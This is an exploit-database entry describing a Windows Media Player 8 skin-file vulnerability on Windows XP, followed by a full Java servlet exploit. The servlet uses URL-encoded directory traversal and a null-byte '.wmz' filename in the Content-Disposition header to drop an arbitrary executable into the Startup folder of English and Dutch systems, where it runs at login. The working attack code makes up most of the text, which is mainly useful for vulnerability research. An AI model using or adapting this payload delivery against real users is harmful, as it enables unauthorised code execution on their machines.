source: https://www.securityfocus.com/bid/7517/info
Windows Media Player is vulnerable to code execution through skin files. WMP does not properly validate URLs that are passed to initiate a skin file download and installation. This could allow a malicious file advertised as a skin file to be downloaded to a known location and executed through some other means.
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.*;
/**
*
* Microsoft media player 8 Exploit for windows XP English and Dutch versions
*
* It will drop a file in the startup folder
*
* modify web.xml to change what will be uploaded
*
* @author Jelmer Kuperus
*
*/
public class MediaPlayerExploit extends HttpServlet {
private static final int BUFFER_SIZE = 1024;
private static final String[] paths = new String[] {
"%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CStart%20Menu%5CPrograms%5CStartup%5c", // English
"%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CMenu Start%5CProgramma%27s%5Copstarten%5c" // Dutch
};
private String payload;
public void init() throws ServletException {
payload = getInitParameter("executable");
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
int language = 0; // default to english
try {
language = Integer.parseInt(request.getParameter("language"));
} catch (NumberFormatException ignored) {}
String path = paths[language];
File file = new File(payload);
ServletOutputStream sos = response.getOutputStream();
response.setContentType("application/download");
response.setHeader("Content-Disposition","filename=" + path + file.getName() + "%00.wmz");
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
BufferedOutputStream bos = new BufferedOutputStream(sos);
byte buffer[] = new byte[BUFFER_SIZE];
int datalength = 0;
while ( (datalength = bis.read(buffer,0,BUFFER_SIZE)) > 0) {
bos.write(buffer,0,datalength);
}
bis.close();
bos.close();
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}
} Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation